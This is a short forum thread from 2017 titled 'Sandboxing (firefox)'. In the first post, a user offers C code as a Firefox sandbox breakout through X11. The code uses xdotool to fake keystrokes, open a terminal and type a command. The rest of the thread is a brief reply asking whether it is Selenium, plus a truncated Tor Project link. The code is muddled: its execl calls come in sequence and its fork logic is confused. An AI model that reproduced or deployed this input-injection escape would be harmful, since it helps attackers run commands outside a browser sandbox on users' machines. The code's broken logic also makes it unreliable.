Login Register






Sandboxing (firefox) filter_list
Author
Message
Sandboxing (firefox) #1
Quote:Sandbox breakout via x11,
x11 allow you to create a fake input for mouse & keyboard events as long as you use it.  
Code:
#include <stdlib.h> #include <unistd.h> int main(void) {    int status;    setenv("LD_LIBRARY_PATH","/usr/lib/firefox-esr/firefox-esr",1);    do { execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","key","alt+f2","sleep","1","type","gnome-terminal",(const char *) NULL); execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep","1","key","Return", "sleep", "1", "type", "id", (const char *) NULL); execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep", "1", "key", "Return", (const char *) NULL);        for (int n=0; n<3; n=n+1) { //boolean switched types. switch (n) { case 0 : //execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","key","alt+f2","sleep","1","type","gnome-terminal",(const char *) NULL); if (fork()==0) { status=0; sleep(1); continue;            } else if (fork !=0) { status=!fork(); return 0;   } case 1 : // execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep","1","key","Return", "sleep", "1", "type", "id", (const char *) NULL); if (fork()==0) { status=0;                 sleep(1); continue;       } else if (fork !=0) { status=!fork();                return 0;                           } case 2 : // execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep", "1", "key", "Return", (const char *) NULL); if (fork()==0) { status=0; sleep(1); continue; } else if (fork !=0) {                return 0;                 }        }//switch }//switch //for } while (status==fork()); sleep(1000); return 0; }
Quote: [The wolf brigade]
[Image: tumblr_nzuku3Lz9c1qj5jqso1_540.gif]
···dark_bit···
(This post was last modified: 09-19-2017, 05:40 PM by dark_bit.)

Reply

RE: Sandboxing (firefox) #2
Hmmm, this is Selenium example in C++?

Reply

RE: Sandboxing (firefox) #3
(09-18-2017, 01:40 PM)BORW3 Wrote: Hmmm, this is Selenium example in C++?
Quote:i guest i miss to post some of the documentation, look at < https://gitweb.torproject.org/tor-browse...973f1fb2f5 >
(This post was last modified: 09-19-2017, 06:09 PM by dark_bit.)

Reply